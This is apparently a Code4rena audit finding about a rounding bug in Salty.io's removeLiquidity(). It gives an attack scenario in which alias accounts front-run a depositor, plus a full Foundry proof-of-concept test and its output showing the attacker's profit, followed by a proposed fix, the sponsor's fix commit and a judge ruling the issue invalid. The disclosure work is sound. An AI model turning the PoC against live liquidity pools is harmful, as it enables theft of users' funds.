`removeLiquidity()` executes unbalanced token removal due to rounding bug, allowing user to steal funds

[c4-bot-8]

Lines of code

https://github.com/othernet-global/salty-io/blob/main/src/pools/Pools.sol#L193-L194

Vulnerability details

Summary

Precision loss in these steps inside function removeLiquidity() while calculating reclaimedA and reclaimedB allows a malicious user to manipulate token ratio and steal funds from other liquidity providers.

  File: src/pools/Pools.sol

      // Remove liquidity for the user and reclaim the underlying tokens
      // Only callable from the Liquidity contract - so it can specify totalLiquidity with authority
      function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
        {
        require( msg.sender == address(liquidity), "Pools.removeLiquidity is only callable from the Liquidity contract" );
        require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );

        (bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB);

        // Determine how much liquidity is being withdrawn and round down in favor of the protocol
        PoolReserves storage reserves = _poolReserves[poolID];
@--->   reclaimedA = ( reserves.reserve0 * liquidityToRemove ) / totalLiquidity;
@--->   reclaimedB = ( reserves.reserve1 * liquidityToRemove ) / totalLiquidity;

        reserves.reserve0 -= uint128(reclaimedA);
        reserves.reserve1 -= uint128(reclaimedB);

        ....
        ....

Attack Scenario

• In a pool of token1 and token2, the fair ratio to be maintained for token1:token2 is 1:2. One can imagine that 1 wei of token1 = $2 and 1 wei of token2 = $1.
• The first depositor, Alice calls depositLiquidityAndIncreaseShare(token, token2, 101, 202, 101, 202, 303, block.timestamp, false) to deposit 101 wei and 202 wei of the tokens with proper slippage parameters. She gets 101 + 202 = 303 shares.
• The second depositor Bob, who is a malicious user, has 9 alias or alternate accounts apart from his main one. Multiple accounts are being used to get around the 1-hour cooldown period required after every withdrawal. This is necessary in the latter part of the attack.
• Bob adds liquidity in the correct ratio of 101 wei and 202 wei.
• Bob's 9 alternate accounts each add liquidity in the correct ratio of 101 wei and 202 wei.
• State of the pool right now is token1 = 1111 wei and token2 = 2222 wei. Bob and his alternate accounts have a total of 3030 shares out of the entire 3333 shares.
• Cooldown duration of 1 hour passes with no activity.
• The third depositor, Charlie calls depositLiquidityAndIncreaseShare( token1, token2, 303 ether, 606 ether, 303 ether, 603 ether, 903 ether, block.timestamp, false ) to attempt a deposit of 303 ether & 606 ether. He understands that in a dynamic market various swaps might be happening at the same time, effecting the price ratios, hence provides a slippage of less than 0.5% for token2 by specifying minimum token2 as 603 ether and a slippage of around 0.67% by specifying minimum shares as 903 ether. He does not tolerate any slippage for token1 in our example.
• Bob front runs Charlie and calls withdrawLiquidityAndClaim(token1, token2, 5, 0, 0, block.timestamp) 10 times, once with each account of his. This removes 5 shares each time. Let's look at the numbers:
  • Withdrawal-1 :

    reclaimedA = 1111 * 5 / 3333 = 1 // (1.6666 rounded-down) 
    reclaimedB = 2222 * 5 / 3333 = 3 // (3.3333 rounded-down) 

    Instead of removing tokens in the ratio of 1:2, the protocol removed them in the ratio 1:3. Bob made a loss here since 5 shares of his were lost and not 4. But later on, he will gain more than he loses. Total shares remaining now = 3333 - 5 = 3328.

  • Withdrawal-2 :

    reclaimedA = 1110 * 5 / 3328 = 1 // (1.6676 rounded-down) 
    reclaimedB = 2219 * 5 / 3328 = 3 // (3.3338 rounded-down) 

    Another unbalanced removal.

  • After repeating the above with all his accounts (withdrawing 5 shares each time), the final skewed token ratio is 1101 : 2192 = 1.990917347865576748.
• Charlie's transaction goes through after Bob's transaction. Due to the modified ratio Charlie now receives 903495912806539509536 shares. His slippage parameters were invoked.
• Bob now swaps 1 ether of token2 for token1. He calls depositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp) and receives 501449772049837887 or 0.5014 ether of token1, higher than the market rate of 0.5 ether.
• After an hour, Bob now withdraws his entire 2980 liquidity shares across all his accounts to be credited with 997 token1 and 1992 token2.

Bob's final profit is around $ 2899544099675770.

Impact

Bob can steal funds from Charlie and profit.

Proof of Concept

Click to view PoC

Create a new file `src/staking/tests/LiquidityManipulation.t.sol` with the following code and run via `COVERAGE="yes" NETWORK="sep" forge test -vv --rpc-url https://rpc.ankr.com/eth_sepolia --mt test_t0x1c_RoundingErrorWhileRemovingLiquidity`: ```js // SPDX-License-Identifier: Unlicensed pragma solidity =0.8.22; import "../../dev/Deployment.sol"; contract LiquidityManipulation is Deployment { bytes32[] public poolIDs; bytes32 public pool1; IERC20 public token1; IERC20 public token2; address public constant alice = address(0x1111); address public constant bob = address(0x2222); address public constant charlie = address(0x3333); uint256 token1DecimalPrecision; uint256 token2DecimalPrecision; function setUp() public { // If $COVERAGE=yes, create an instance of the contract so that coverage testing can work // Otherwise, what is tested is the actual deployed contract on the blockchain (as specified in Deployment.sol) if ( keccak256(bytes(vm.envString("COVERAGE" ))) == keccak256(bytes("yes" ))) initializeContracts(); grantAccessAlice(); grantAccessBob(); grantAccessCharlie(); grantAccessDeployer(); grantAccessDefault(); finalizeBootstrap(); vm.prank(address(daoVestingWallet)); salt.transfer(DEPLOYER, 1000000 ether); token1DecimalPrecision = 18; token2DecimalPrecision = 18; token1 = new TestERC20("TEST", token1DecimalPrecision); token2 = new TestERC20("TEST", token2DecimalPrecision); pool1 = PoolUtils._poolID(token1, token2); poolIDs = new bytes32[](1); poolIDs[0] = pool1; // Whitelist the _pools vm.startPrank( address(dao) ); poolsConfig.whitelistPool(token1, token2); vm.stopPrank(); vm.prank(DEPLOYER); salt.transfer( address(this), 100000 ether ); salt.approve(address(liquidity), type(uint256).max); vm.startPrank(alice); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); vm.startPrank(bob); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); vm.startPrank(charlie); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); token1.approve(address(pools), type(uint256).max); token2.approve(address(pools), type(uint256).max); vm.stopPrank(); token1.transfer(address(dao), 1000 * 10**token1DecimalPrecision); token2.transfer(address(dao), 1000 * 10**token2DecimalPrecision); vm.startPrank(address(dao)); token1.approve(address(liquidity), type(uint256).max); token2.approve(address(liquidity), type(uint256).max); vm.stopPrank(); } // Convenience function function totalSharesForPool( bytes32 poolID ) public view returns (uint256) { bytes32[] memory _pools2 = new bytes32[](1); _pools2[0] = poolID; return liquidity.totalSharesForPools(_pools2)[0]; } function test_t0x1c_RoundingErrorWhileRemovingLiquidity() public { // ******************************* SETUP ************************************** // Give Alice, Bob & Charlie some tokens for testing token1.transfer(alice, 101); token2.transfer(alice, 202); token1.transfer(bob, 1010); token2.transfer(bob, 2020 + 1 ether); token1.transfer(charlie, 303 ether); token2.transfer(charlie, 606 ether); assertEq(totalSharesForPool( pool1 ), 0, "Pool should initially have zero liquidity share" ); assertEq(liquidity.userShareForPool(alice, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(bob, pool1), 0, "Bob's initial liquidity share should be zero"); assertEq(liquidity.userShareForPool(charlie, pool1), 0, "Charlie's initial liquidity share should be zero"); assertEq( token1.balanceOf( address(pools)), 0, "liquidity should start with zero token1" ); assertEq( token2.balanceOf( address(pools)), 0, "liquidity should start with zero token2" ); // deposit ratio of 1:2 i.e token1's price is 2 times that of token2 uint256 addedAmount1 = 101; uint256 addedAmount2 = 202; // Alice adds liquidity in the correct ratio, as the first depositor vm.prank(alice); uint256 addedLiquidityAlice = liquidity.depositLiquidityAndIncreaseShare( token1, token2, addedAmount1, addedAmount2, addedAmount1, addedAmount2, addedAmount1 + addedAmount2, block.timestamp, false ); console.log("addedLiquidityAlice =", addedLiquidityAlice); assertEq(liquidity.userShareForPool(alice, pool1), addedLiquidityAlice, "Alice's share should have increased" ); assertEq( token1.balanceOf( address(pools)), addedAmount1, "Tokens were not deposited into the pool as expected" ); assertEq( token2.balanceOf( address(pools)), addedAmount2, "Tokens were not deposited into the pool as expected" ); assertEq(totalSharesForPool( pool1 ), addedLiquidityAlice, "totalShares mismatch after Alice's deposit" ); vm.startPrank(bob); uint256 bobInitialBalance = 2 * token1.balanceOf(bob) + token2.balanceOf(bob); // Dollar value of his holdings // Bob's 10 accounts add some liquidity too in the correct ratio uint numberOfAccountsUsedByBobForTheAttack = 10; uint256 addedLiquidityBob = liquidity.depositLiquidityAndIncreaseShare( token1, token2, numberOfAccountsUsedByBobForTheAttack * addedAmount1, numberOfAccountsUsedByBobForTheAttack * addedAmount2, 0, 0, 0, block.timestamp, false ); console.log("addedLiquidityBob =", addedLiquidityBob); skip(1 hours); emit log_named_decimal_uint ("Initial ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18); // ******************************* SETUP ENDS ************************************** console.log("\n\n***************************** Bob Attacks ************************************\n"); // @audit : Bob front-runs Charlie & removes liquidity while exploiting the rounding error uint256 liquidityToRemove = 5; // @audit : this causes an "unbalanced" token reduction // Bob's multiple accounts remove liquidity for (uint repeat; repeat < numberOfAccountsUsedByBobForTheAttack; repeat++) { liquidity.withdrawLiquidityAndClaim(token1, token2, liquidityToRemove, 0, 0, block.timestamp); skip(1 hours); // @audit-info : "skip" needed just for PoC, not in real attack since 10 different accounts of Bob will be used } vm.stopPrank(); console.log("\nSkewed reserve ratio now:\n token1 = %s, token2 = %s\n", token1.balanceOf(address(pools)), token2.balanceOf(address(pools))); emit log_named_decimal_uint ("Manipulated ratio of token2:token1 =", 1e18 * token2.balanceOf(address(pools)) / token1.balanceOf(address(pools)), 18); // Charlie transaction goes through now which adds liquidity with suitable slippage parameters vm.prank(charlie); // @audit-info : 0.5% slippage for token2 liquidity.depositLiquidityAndIncreaseShare( token1, token2, 303 ether, 606 ether, 303 ether, 603 ether, 903 ether, block.timestamp, false ); // Bob swaps vm.prank(bob); (uint256 swappedOut) = pools.depositSwapWithdraw(token2, token1, 1 ether, 0, block.timestamp); emit log_named_decimal_uint("token1 swappedOut in exchange for 1 ether of token2 (should be greater than 0.5 ether) =", swappedOut, 18); // Bob withdraws all his shares skip(1 hours); vm.prank(bob); liquidity.withdrawLiquidityAndClaim(token1, token2, addedLiquidityBob - liquidityToRemove * numberOfAccountsUsedByBobForTheAttack, 0, 0, block.timestamp); uint256 bobFinalBalance = 2 * token1.balanceOf(bob) + token2.balanceOf(bob); // In Dollar terms assertGt( bobFinalBalance, bobInitialBalance, "Bob did not profit" ); console.log("\nProfit made by Bob = $", bobFinalBalance - bobInitialBalance); } } ```

Output:

[PASS] test_t0x1c_RoundingErrorWhileRemovingLiquidity() (gas: 1404686)
Logs:
  addedLiquidityAlice = 303
  addedLiquidityBob = 3030

  Initial ratio of token2:token1 =: 2.000000000000000000

***************************** Bob Attacks ************************************

Skewed reserve ratio now:
 token1 = 1101, token2 = 2192

  Manipulated ratio of token2:token1 =: 1.990917347865576748

  token1 swappedOut in exchange for 1 ether of token2 (should be greater than 0.5 ether) =: 0.501449772049837887

Profit made by Bob = $ 2899544099675770

Recommended Mitigation Steps

We need to make sure only the correct proportion of reclaimed tokens is allowed. So calculate the smaller of the reclaimedA vs reclaimedB values and then express the other in terms of the former. This will thwart the attempt to manipulate the ratios in any way via removeLiquidity():

    // Remove liquidity for the user and reclaim the underlying tokens
    // Only callable from the Liquidity contract - so it can specify totalLiquidity with authority
    function removeLiquidity( IERC20 tokenA, IERC20 tokenB, uint256 liquidityToRemove, uint256 minReclaimedA, uint256 minReclaimedB, uint256 totalLiquidity ) external nonReentrant returns (uint256 reclaimedA, uint256 reclaimedB)
        {
        require( msg.sender == address(liquidity), "Pools.removeLiquidity is only callable from the Liquidity contract" );
        require( liquidityToRemove > 0, "The amount of liquidityToRemove cannot be zero" );

        (bytes32 poolID, bool flipped) = PoolUtils._poolIDAndFlipped(tokenA, tokenB);

        // Determine how much liquidity is being withdrawn and round down in favor of the protocol
        PoolReserves storage reserves = _poolReserves[poolID];
-       reclaimedA = ( reserves.reserve0 * liquidityToRemove ) / totalLiquidity;
-       reclaimedB = ( reserves.reserve1 * liquidityToRemove ) / totalLiquidity;

+       if (reserves.reserve0 <= reserves.reserve1 ) {
+         reclaimedA = ( reserves.reserve0 * liquidityToRemove ) / totalLiquidity;
+         reclaimedB = ( reserves.reserve1 * reclaimedA ) / reserves.reserve0;
+       }
+       else {
+         reclaimedB = ( reserves.reserve1 * liquidityToRemove ) / totalLiquidity;
+         reclaimedA = ( reserves.reserve0 * reclaimedB ) / reserves.reserve1;
+       }

        reserves.reserve0 -= uint128(reclaimedA);
        reserves.reserve1 -= uint128(reclaimedB);

        // Make sure that removing liquidity doesn't drive either of the reserves below DUST.
        // This is to ensure that ratios remain relatively constant even after a maximum withdrawal.
        require((reserves.reserve0 >= PoolUtils.DUST) && (reserves.reserve1 >= PoolUtils.DUST), "Insufficient reserves after liquidity removal");

        // Switch reclaimed amounts back to the order that was specified in the call arguments so they make sense to the caller
        if (flipped)
            (reclaimedA,reclaimedB) = (reclaimedB,reclaimedA);

        require( (reclaimedA >= minReclaimedA) && (reclaimedB >= minReclaimedB), "Insufficient underlying tokens returned" );

        // Send the reclaimed tokens to the user
        tokenA.safeTransfer( msg.sender, reclaimedA );
        tokenB.safeTransfer( msg.sender, reclaimedB );

        emit LiquidityRemoved(tokenA, tokenB, reclaimedA, reclaimedB, liquidityToRemove);
        }

Assessed type

Math

[c4-sponsor]

othernet-global (sponsor) confirmed

[othernet-global]

Fixed with: https://github.com/othernet-global/salty-io/commit/e02615560da368606e3151d9826b9c909cce5f00

[piken]

I agree with judge @Picodes that this is a classic sandwich attack. It could happen on any DEX as soon as the liquidity is extreme low. The reason this attack exists is that Charlie offers a profitable slippage under such extreme conditions.

[t0x1cC0de]

To avoid repetition, I will redirect to my comment here : https://github.com/code-423n4/2024-03-saltyio-mitigation-findings/issues/108#issuecomment-1994339069 and here: https://github.com/code-423n4/2024-03-saltyio-mitigation-findings/issues/127#issuecomment-1995144824

and await for the final decision.

[c4-judge]

Picodes marked the issue as unsatisfactory: Invalid